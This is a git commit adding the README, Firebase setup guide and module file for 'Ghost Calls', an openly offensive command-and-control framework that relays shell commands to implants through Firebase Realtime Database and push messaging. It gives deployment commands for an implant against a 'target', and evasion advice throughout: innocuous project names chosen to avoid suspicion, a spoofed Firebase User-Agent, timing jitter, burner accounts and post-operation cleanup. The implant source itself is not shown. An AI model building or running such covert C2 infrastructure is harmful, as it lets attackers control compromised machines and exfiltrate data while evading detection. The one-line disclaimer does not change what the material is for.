Upload files to "c2_ghost-push"
This commit is contained in:
@@ -0,0 +1,357 @@
|
|||||||
|
# Firebase Project Setup Guide
|
||||||
|
|
||||||
|
This guide walks through creating a Firebase project for Ghost Calls using the Firebase CLI. No browser required.
|
||||||
|
|
||||||
|
## Prerequisites
|
||||||
|
|
||||||
|
- [Node.js](https://nodejs.org/) 18+ (for `firebase-tools` CLI)
|
||||||
|
- A Google account (use a **burner account** — never link to personal accounts)
|
||||||
|
- `curl` for testing API endpoints
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Step 1: Install Firebase CLI
|
||||||
|
|
||||||
|
```bash
|
||||||
|
npm install -g firebase-tools
|
||||||
|
```
|
||||||
|
|
||||||
|
Verify installation:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
firebase --version
|
||||||
|
# Expected: 13.x or higher
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Step 2: Log In
|
||||||
|
|
||||||
|
```bash
|
||||||
|
firebase login
|
||||||
|
```
|
||||||
|
|
||||||
|
This opens a browser for OAuth authentication. If running headless (no browser), use:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
firebase login --no-localhost
|
||||||
|
```
|
||||||
|
|
||||||
|
Follow the printed URL instructions to complete authentication.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Step 3: Create the Firebase Project
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Create a new project (interactive — you'll be prompted for a project ID)
|
||||||
|
firebase projects:create
|
||||||
|
|
||||||
|
# You will be prompted:
|
||||||
|
# ? Please specify a unique project id (my-c2-project): ghost-calls-operational-42
|
||||||
|
# ? What would you like to call your project? Ghost Calls
|
||||||
|
```
|
||||||
|
|
||||||
|
> **Important:** The project ID must be globally unique across all Firebase projects. Choose something innocuous that won't raise suspicion. Good examples: `weather-app-sync-8472`, `note-taking-backup`. Bad examples: `c2-command-control`, `hacker-op-2024`.
|
||||||
|
|
||||||
|
### Headless Project Creation (Alternative)
|
||||||
|
|
||||||
|
If `firebase projects:create` is too interactive, use the Firebase Console REST API directly:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# First, get your access token
|
||||||
|
FIREBASE_TOKEN=$(firebase login:ci)
|
||||||
|
|
||||||
|
# Create the project
|
||||||
|
curl -X POST "https://firebase.googleapis.com/v1/projects" \
|
||||||
|
-H "Authorization: Bearer $FIREBASE_TOKEN" \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-d '{
|
||||||
|
"projectId": "ghost-calls-operational-42",
|
||||||
|
"displayName": "Note Sync",
|
||||||
|
"labels": {
|
||||||
|
"purpose": "development"
|
||||||
|
}
|
||||||
|
}'
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Step 4: Enable Firebase for the Project
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Add Firebase to the project
|
||||||
|
firebase init
|
||||||
|
|
||||||
|
# Select only "Firestore" or "Database" and "Hosting" if needed
|
||||||
|
# For Ghost Calls, we only need Realtime Database, so:
|
||||||
|
# - Toggle "Realtime Database" with SPACE
|
||||||
|
# - Press ENTER to confirm
|
||||||
|
```
|
||||||
|
|
||||||
|
If you get an error about project not found, the project may not have Firebase resources initialized yet. Fix:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Explicitly add Firebase to the project
|
||||||
|
firebase projects:addfirebase <project-id>
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Step 5: Enable the Realtime Database
|
||||||
|
|
||||||
|
### Via CLI:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# List available Firebase features — verify RTDB is available
|
||||||
|
firebase --project=<project-id> firestore:databases:list 2>/dev/null || true
|
||||||
|
|
||||||
|
# Initialize Realtime Database through CLI
|
||||||
|
firebase --project=<project-id> init database
|
||||||
|
|
||||||
|
# You'll be prompted:
|
||||||
|
# ? What file should be used for Realtime Database Security Rules? database.rules.json
|
||||||
|
# Accept default or specify rtdb.rules.json
|
||||||
|
```
|
||||||
|
|
||||||
|
### Via REST API:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Enable Realtime Database via REST
|
||||||
|
curl -X POST \
|
||||||
|
"https://firebasedatabase.googleapis.com/v1/projects/<project-id>/locations/us-central1/instances" \
|
||||||
|
-H "Authorization: Bearer $FIREBASE_TOKEN" \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-d '{"databaseId": "<project-id>-default-rtdb", "type": "DEFAULT_DATABASE"}'
|
||||||
|
```
|
||||||
|
|
||||||
|
Wait 30-60 seconds for the database instance to provision.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Step 6: Get Your Database URL
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# List Firebase projects and their resources
|
||||||
|
firebase --project=<project-id> databases:list 2>/dev/null || true
|
||||||
|
|
||||||
|
# OR use the REST API to find the database URL
|
||||||
|
curl -s \
|
||||||
|
"https://firebasedatabase.googleapis.com/v1/projects/<project-id>/locations/us-central1/instances" \
|
||||||
|
-H "Authorization: Bearer $FIREBASE_TOKEN" \
|
||||||
|
| jq -r '.instances[].databaseUrl'
|
||||||
|
```
|
||||||
|
|
||||||
|
Your database URL will look like:
|
||||||
|
```
|
||||||
|
https://<project-id>-default-rtdb.firebaseio.com
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Step 7: Set Database Rules
|
||||||
|
|
||||||
|
For initial testing, set wide-open rules.
|
||||||
|
|
||||||
|
### Write the rules file (`database.rules.json`):
|
||||||
|
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"rules": {
|
||||||
|
".read": true,
|
||||||
|
".write": true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### Deploy rules:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Via firebase-tools CLI
|
||||||
|
firebase --project=<project-id> deploy --only database
|
||||||
|
|
||||||
|
# OR via REST API
|
||||||
|
curl -X PUT \
|
||||||
|
"https://<project-id>-default-rtdb.firebaseio.com/.settings/rules.json" \
|
||||||
|
-H "Authorization: Bearer $FIREBASE_TOKEN" \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-d '{"rules":{".read":true,".write":true}}'
|
||||||
|
```
|
||||||
|
|
||||||
|
### Verify rules are deployed:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -s "https://<project-id>-default-rtdb.firebaseio.com/.settings/rules.json" | jq .
|
||||||
|
```
|
||||||
|
|
||||||
|
Expected output:
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"rules": {
|
||||||
|
".read": true,
|
||||||
|
".write": true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Step 8: Get Firebase API Key
|
||||||
|
|
||||||
|
The API key is needed if you want to use Firebase Authentication or FCM. For the basic RTDB dead-drop, you don't strictly need it — but it's useful for auth-enabled access.
|
||||||
|
|
||||||
|
### Via CLI:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# List all Firebase project resources including Web API Key
|
||||||
|
firebase --project=<project-id> apps:list 2>/dev/null
|
||||||
|
|
||||||
|
# If no apps exist, create a Web app:
|
||||||
|
firebase --project=<project-id> apps:create WEB "ghost-ctl"
|
||||||
|
|
||||||
|
# Get the config for your web app (includes apiKey):
|
||||||
|
firebase --project=<project-id> apps:sdkconfig WEB <app-id>
|
||||||
|
```
|
||||||
|
|
||||||
|
### Via Google Cloud Console API:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# List all API keys for the project
|
||||||
|
curl -s \
|
||||||
|
"https://apikeys.googleapis.com/v2/projects/<project-id>/locations/global/keys" \
|
||||||
|
-H "Authorization: Bearer $FIREBASE_TOKEN" \
|
||||||
|
| jq '.keys[].displayName, .keys[].keyString'
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Step 9: Test the Database
|
||||||
|
|
||||||
|
Verify end-to-end connectivity:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Write a test value
|
||||||
|
curl -X PUT \
|
||||||
|
"https://<project-id>-default-rtdb.firebaseio.com/test/hello.json" \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-d '"world"'
|
||||||
|
|
||||||
|
# Read it back
|
||||||
|
curl -s "https://<project-id>-default-rtdb.firebaseio.com/test/hello.json"
|
||||||
|
|
||||||
|
# Expected: "world"
|
||||||
|
|
||||||
|
# Delete the test value
|
||||||
|
curl -X DELETE "https://<project-id>-default-rtdb.firebaseio.com/test/hello.json"
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Step 10: (Optional) Enable Firebase Cloud Messaging
|
||||||
|
|
||||||
|
For push-based command delivery (advanced):
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Enable FCM for the project
|
||||||
|
curl -X POST \
|
||||||
|
"https://fcm.googleapis.com/v1/projects/<project-id>/messages:send" \
|
||||||
|
-H "Authorization: Bearer $FIREBASE_TOKEN" \
|
||||||
|
-H "Content-Type: application/json" \
|
||||||
|
-d '{"message":{"topic":"test","data":{"test":"true"}}}'
|
||||||
|
```
|
||||||
|
|
||||||
|
To get FCM server credentials for the HTTP v1 API:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Navigate to the Google Cloud Console IAM area for the Firebase service account
|
||||||
|
gcloud iam service-accounts list --project=<project-id>
|
||||||
|
|
||||||
|
# The Firebase service account looks like:
|
||||||
|
# firebase-adminsdk-xxxxx@<project-id>.iam.gserviceaccount.com
|
||||||
|
|
||||||
|
# Generate a key for this account:
|
||||||
|
gcloud iam service-accounts keys create firebase-key.json \
|
||||||
|
--iam-account=firebase-adminsdk-xxxxx@<project-id>.iam.gserviceaccount.com \
|
||||||
|
--project=<project-id>
|
||||||
|
```
|
||||||
|
|
||||||
|
Then use this key with Google's OAuth endpoints to get access tokens for FCM API calls. This is beyond the scope of the basic RTDB setup.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Step 11: Clean Up (After Operation)
|
||||||
|
|
||||||
|
**Always** delete the Firebase project when the operation is complete:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Delete the project (this cannot be undone)
|
||||||
|
firebase projects:delete <project-id>
|
||||||
|
|
||||||
|
# Confirm the deletion
|
||||||
|
# > ? Are you sure? Yes
|
||||||
|
```
|
||||||
|
|
||||||
|
Or via REST:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -X DELETE \
|
||||||
|
"https://firebase.googleapis.com/v1/projects/<project-id>" \
|
||||||
|
-H "Authorization: Bearer $FIREBASE_TOKEN"
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Environment Variables for Ghost Calls
|
||||||
|
|
||||||
|
Once your project is configured, export these for the Ghost Calls server:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Database URL (from Step 6)
|
||||||
|
export FIREBASE_URL="https://<project-id>-default-rtdb.firebaseio.com"
|
||||||
|
|
||||||
|
# Encryption secret — generate a strong random key
|
||||||
|
export GHOST_SECRET="$(openssl rand -hex 32)"
|
||||||
|
|
||||||
|
# Port for the HTTP status page (optional, default: 9090)
|
||||||
|
export GHOST_PORT="9090"
|
||||||
|
```
|
||||||
|
|
||||||
|
For the implant:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
./ghost-client \
|
||||||
|
--db-url "$FIREBASE_URL" \
|
||||||
|
--id "target-001" \
|
||||||
|
--secret "$GHOST_SECRET" \
|
||||||
|
--interval 30s \
|
||||||
|
--jitter 15s
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Troubleshooting
|
||||||
|
|
||||||
|
### "Permission denied" when reading/writing data
|
||||||
|
Your database rules are too restrictive. Either set `.read` and `.write` to `true`, or create proper auth rules.
|
||||||
|
|
||||||
|
### "Project not found" errors
|
||||||
|
The Firebase project may not have Realtime Database initialized. Run through Step 5 again.
|
||||||
|
|
||||||
|
### "Quota exceeded"
|
||||||
|
Free tier limits:
|
||||||
|
- 200 simultaneous connections
|
||||||
|
- 10 MB stored
|
||||||
|
- 10 GB/month downloaded
|
||||||
|
- 10,000 writes/hour
|
||||||
|
|
||||||
|
Upgrade to Blaze (pay-as-you-go) plan for higher limits, or reduce poll frequency.
|
||||||
|
|
||||||
|
### "Access denied" on REST calls
|
||||||
|
Your authentication token may be expired. Run `firebase login` again or generate a new CI token.
|
||||||
|
|
||||||
|
### Can't find the database URL
|
||||||
|
The database may still be provisioning. Wait 1-2 minutes and try again. Use the REST API in Step 6 to check.
|
||||||
|
|
||||||
|
## DISCLAIMER
|
||||||
|
|
||||||
|
For authorized Security Testing or Educational Purposes only.
|
||||||
@@ -0,0 +1,293 @@
|
|||||||
|
# Ghost Calls — Push Notification C2
|
||||||
|
|
||||||
|
**Ghost Calls** is a Command & Control (C2) framework that uses **Firebase Cloud Messaging (FCM)** and **Firebase Realtime Database** as command delivery channels. Commands are delivered through legitimate Firebase infrastructure — traffic goes to `firebaseio.com` and `googleapis.com`, domains that billions of devices talk to daily.
|
||||||
|
|
||||||
|
## Architecture
|
||||||
|
|
||||||
|
```
|
||||||
|
┌─────────────┐ ┌────────────────────────────┐ ┌─────────────┐
|
||||||
|
│ Operator │──────▶│ Firebase Realtime DB │◀──────│ Implant │
|
||||||
|
│ (Server) │ │ (Dead-drop / PubSub) │ │ (Client) │
|
||||||
|
└─────────────┘ └────────────────────────────┘ └─────────────┘
|
||||||
|
│ │ │
|
||||||
|
│ HTTPS PUT │ REST API │ HTTPS GET
|
||||||
|
│ commands/<id>.json │ (over HTTPS) │ commands/<id>.json
|
||||||
|
│ │ │
|
||||||
|
│ │ │
|
||||||
|
│ HTTPS GET │ │ HTTPS PUT
|
||||||
|
│ results/<id>.json │ │ results/<id>/<cmd>.json
|
||||||
|
│ │ │
|
||||||
|
│ (Optional) │ │ DELETE
|
||||||
|
│ FCM HTTP v1 API │ │ commands/<id>.json
|
||||||
|
└────▶ FCM Send ─────────▶ Push notification ─────────────┘
|
||||||
|
```
|
||||||
|
|
||||||
|
### How It Works
|
||||||
|
|
||||||
|
1. **Command Injection** — The operator writes an encrypted command to the Firebase Realtime Database at `commands/<implant-id>.json`
|
||||||
|
2. **Polling** — The implant periodically reads its command path over HTTPS
|
||||||
|
3. **Execution** — The implant decrypts and executes the command via `/bin/sh -c` (or `cmd.exe /C` on Windows)
|
||||||
|
4. **Exfiltration** — The implant encrypts the output and writes it to `results/<implant-id>/<command-id>.json`
|
||||||
|
5. **Cleanup** — The implant deletes the command from Firebase, signaling it's been processed
|
||||||
|
6. **Collection** — The operator fetches results from `results/<implant-id>/` at any time
|
||||||
|
|
||||||
|
### Why Firebase?
|
||||||
|
|
||||||
|
| Feature | Benefit |
|
||||||
|
|---|---|
|
||||||
|
| **Domain reputation** | `firebaseio.com`, `googleapis.com` — billions of legitimate requests daily |
|
||||||
|
| **TLS by default** | All traffic is HTTPS, indistinguishable from legitimate Firebase SDK traffic |
|
||||||
|
| **No custom server** | Your C2 infrastructure is Firebase's infrastructure |
|
||||||
|
| **WebSocket fallback** | RTDB uses WebSockets when available — looks like normal Firebase sync |
|
||||||
|
| **Global CDN** | Low-latency from anywhere |
|
||||||
|
| **Free tier** | 1GB stored, 10GB/month download — plenty for a C2 operation |
|
||||||
|
|
||||||
|
## Quick Start
|
||||||
|
|
||||||
|
### 1. Prerequisites
|
||||||
|
|
||||||
|
- Go 1.21+ (for building)
|
||||||
|
- A Firebase project (see [FIREBASE_SETUP.md](FIREBASE_SETUP.md) for detailed instructions)
|
||||||
|
- The Firebase Realtime Database URL (looks like `https://my-project-default-rtdb.firebaseio.com`)
|
||||||
|
- A shared encryption secret (the `GHOST_SECRET`)
|
||||||
|
|
||||||
|
### 2. Build
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Build the server (operator console)
|
||||||
|
cd cmd/server
|
||||||
|
go build -o ../../bin/ghost-server .
|
||||||
|
|
||||||
|
# Build the client (implant)
|
||||||
|
cd cmd/client
|
||||||
|
go build -o ../../bin/ghost-client .
|
||||||
|
```
|
||||||
|
|
||||||
|
Or build everything at once:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
mkdir -p bin
|
||||||
|
go build -o bin/ghost-server ./cmd/server
|
||||||
|
go build -o bin/ghost-client ./cmd/client
|
||||||
|
```
|
||||||
|
|
||||||
|
### 3. Configure Firebase
|
||||||
|
|
||||||
|
Set your database rules to allow read/write:
|
||||||
|
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"rules": {
|
||||||
|
".read": true,
|
||||||
|
".write": true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
> **Warning:** Wide-open rules are for testing only. For production, use Firebase Authentication or custom tokens. See the OpSec section below.
|
||||||
|
|
||||||
|
### 4. Start the Server
|
||||||
|
|
||||||
|
```bash
|
||||||
|
export FIREBASE_URL="https://my-project-default-rtdb.firebaseio.com"
|
||||||
|
export GHOST_SECRET="your-very-secret-key-change-this"
|
||||||
|
export GHOST_PORT="9090"
|
||||||
|
|
||||||
|
./bin/ghost-server
|
||||||
|
```
|
||||||
|
|
||||||
|
### 5. Deploy an Implant
|
||||||
|
|
||||||
|
```bash
|
||||||
|
./bin/ghost-client \
|
||||||
|
--project "my-project" \
|
||||||
|
--id "target-001" \
|
||||||
|
--secret "your-very-secret-key-change-this" \
|
||||||
|
--interval 30s \
|
||||||
|
--jitter 15s
|
||||||
|
```
|
||||||
|
|
||||||
|
### 6. Register and Send Commands
|
||||||
|
|
||||||
|
From the server console:
|
||||||
|
|
||||||
|
```
|
||||||
|
ghost> register target-001
|
||||||
|
[+] Registered implant target-001
|
||||||
|
ghost> list
|
||||||
|
ID FCM Token Last Seen
|
||||||
|
─────────────────────────────────────────────────────────────────────────
|
||||||
|
target-001 - 2026-05-11T22:00:00Z
|
||||||
|
ghost> exec target-001 uname -a
|
||||||
|
ghost> exec target-001 whoami
|
||||||
|
ghost> exec target-001 curl -s http://internal-service.local/status
|
||||||
|
ghost> results target-001
|
||||||
|
```
|
||||||
|
|
||||||
|
## Server Commands
|
||||||
|
|
||||||
|
| Command | Description |
|
||||||
|
|---|---|
|
||||||
|
| `register <id> [fcm_token]` | Register an implant (optionally with FCM token) |
|
||||||
|
| `exec <id> <command>` | Send a command to a specific implant |
|
||||||
|
| `broadcast <command>` | Send command to all registered implants |
|
||||||
|
| `list` | List all registered implants with metadata |
|
||||||
|
| `results <id>` | Fetch and display results from an implant |
|
||||||
|
| `forget <id>` | Remove an implant registration |
|
||||||
|
| `status` | Display server configuration and overview |
|
||||||
|
| `push <id> <json>` | Send raw FCM push payload (for testing) |
|
||||||
|
| `help` | Display help |
|
||||||
|
| `exit` | Shut down the server |
|
||||||
|
|
||||||
|
## Client Flags
|
||||||
|
|
||||||
|
| Flag | Default | Description |
|
||||||
|
|---|---|---|
|
||||||
|
| `--project` | — | Firebase project ID (e.g., `my-project`) |
|
||||||
|
| `--db-url` | — | Full Firebase RTDB URL (overrides `--project`) |
|
||||||
|
| `--id` | — | **Required.** Unique implant identifier |
|
||||||
|
| `--secret` | — | **Required.** Encryption secret (must match server) |
|
||||||
|
| `--interval` | `30s` | Base poll interval |
|
||||||
|
| `--jitter` | `15s` | Max random jitter added to each poll |
|
||||||
|
| `--verbose` | `false` | Enable verbose logging |
|
||||||
|
|
||||||
|
### Persistence
|
||||||
|
|
||||||
|
The implant writes its identity to `/etc/ghost/id` and secret to `/etc/ghost/secret` on first run. On subsequent runs, if `--id` is omitted, it reads from `/etc/ghost/id`. This allows pre-provisioning the implant by writing these files.
|
||||||
|
|
||||||
|
## Encryption
|
||||||
|
|
||||||
|
All command data is **encrypted at rest** in Firebase using **AES-256-GCM** before it ever leaves the server.
|
||||||
|
|
||||||
|
### Key Derivation
|
||||||
|
|
||||||
|
```
|
||||||
|
key = SHA-256(implant_id + ":" + server_secret)
|
||||||
|
```
|
||||||
|
|
||||||
|
- Each implant gets a **unique encryption key** derived from its ID + the shared server secret
|
||||||
|
- If an implant is compromised, only that implant's key is recoverable (assuming the server secret stays safe)
|
||||||
|
- The server secret itself is never stored in Firebase
|
||||||
|
|
||||||
|
### Encryption Flow
|
||||||
|
|
||||||
|
```
|
||||||
|
Server:
|
||||||
|
1. Derive key from implant ID + GHOST_SECRET
|
||||||
|
2. Encrypt command with AES-256-GCM (random nonce prepended)
|
||||||
|
3. Base64-encode ciphertext
|
||||||
|
4. Write to Firebase: { "cmd": "<base64>", "id": "<uuid>", "ts": <ms> }
|
||||||
|
|
||||||
|
Implant:
|
||||||
|
1. Read from Firebase
|
||||||
|
2. Base64-decode ciphertext
|
||||||
|
3. Derive same key from implant ID + secret
|
||||||
|
4. Decrypt with AES-256-GCM
|
||||||
|
5. Execute command
|
||||||
|
|
||||||
|
Result encryption follows the same pattern (encrypted with the same derived key).
|
||||||
|
```
|
||||||
|
|
||||||
|
## OpSec Notes
|
||||||
|
|
||||||
|
### Traffic Analysis
|
||||||
|
|
||||||
|
- **All traffic is HTTPS** to `firebaseio.com` — indistinguishable from legitimate Firebase SDK traffic
|
||||||
|
- The implant uses a `User-Agent: Firebase/8.10.0 (Android; Google; SDK)` header to blend in
|
||||||
|
- Poll intervals with random jitter (±15s by default) avoid deterministic timing fingerprints
|
||||||
|
- `DisableKeepAlives: true` prevents persistent connections that could be fingerprinted
|
||||||
|
|
||||||
|
### Database Rules
|
||||||
|
|
||||||
|
**Development** (open to all):
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"rules": {
|
||||||
|
".read": true,
|
||||||
|
".write": true
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
**Production** (with Firebase Auth):
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"rules": {
|
||||||
|
"commands": {
|
||||||
|
"$implant_id": {
|
||||||
|
".read": "auth != null",
|
||||||
|
".write": "auth != null"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"results": {
|
||||||
|
"$implant_id": {
|
||||||
|
".read": "auth != null",
|
||||||
|
".write": "auth != null"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
**Locked down** (custom auth token required):
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"rules": {
|
||||||
|
"commands": {
|
||||||
|
"$implant_id": {
|
||||||
|
".read": "auth.uid === $implant_id",
|
||||||
|
".write": "auth.uid === 'server'"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
"results": {
|
||||||
|
"$implant_id": {
|
||||||
|
".read": "auth.uid === 'server'",
|
||||||
|
".write": "auth.uid === $implant_id"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
### Encryption at Rest
|
||||||
|
|
||||||
|
- Commands are **always encrypted** before being written to Firebase
|
||||||
|
- The Firebase database never sees plaintext command data
|
||||||
|
- Even with database admin access, an adversary sees only base64 ciphertext
|
||||||
|
- **Never** use the server secret in the database rules or command payloads
|
||||||
|
|
||||||
|
### Rate Limiting
|
||||||
|
|
||||||
|
- Firebase Realtime Database has rate limits: roughly 200 simultaneous connections, 10MB/min write, 10K/min writes per project (free tier)
|
||||||
|
- Implants should use jittered intervals of 30s+ to avoid triggering rate limits
|
||||||
|
- For large deployments, consider staggering implant start times
|
||||||
|
- Upgrade to Blaze plan for higher limits in production operations
|
||||||
|
|
||||||
|
### Operational Security
|
||||||
|
|
||||||
|
1. **Use a burner Google account** to create the Firebase project — never link to personal accounts
|
||||||
|
2. **Enable Firebase Auth** with email/password or custom tokens for production use
|
||||||
|
3. **Rotate the GHOST_SECRET** between operations
|
||||||
|
4. **Use unique implant IDs** — never reuse across targets
|
||||||
|
5. **Consider using Firebase App Check** for additional verification
|
||||||
|
6. **Delete the Firebase project entirely** after the operation
|
||||||
|
|
||||||
|
## FCM Integration (Advanced)
|
||||||
|
|
||||||
|
The current implementation uses the Realtime Database as a dead-drop mechanism. For push-based command delivery (instant delivery without polling), you need:
|
||||||
|
|
||||||
|
1. Enable Firebase Cloud Messaging in your Firebase project
|
||||||
|
2. An Android app (or a device with FCM capability) on the target
|
||||||
|
3. The implant registers for FCM and sends its registration token to the server
|
||||||
|
4. The server uses the FCM HTTP v1 API to push commands directly to the device
|
||||||
|
|
||||||
|
An FCM push-based approach is more sophisticated and harder to detect, but requires:
|
||||||
|
- More complex implant code (FCM SDK or manual HTTP/2 push handling)
|
||||||
|
- An Android/iOS runtime or a way to register for push notifications
|
||||||
|
- Higher OpSec requirements (Google Play Services integration)
|
||||||
|
|
||||||
|
The RTDB dead-drop approach achieves the same goal with less complexity and broader platform support.
|
||||||
|
|
||||||
|
## DISCLAIMER
|
||||||
|
|
||||||
|
For authorized Security Testing or Educational Purposes only.
|
||||||
@@ -0,0 +1,2 @@
|
|||||||
|
go 1.26
|
||||||
|
module github.com/churchofmalware/c2-ghost-push
|
||||||
Reference in New Issue
Block a user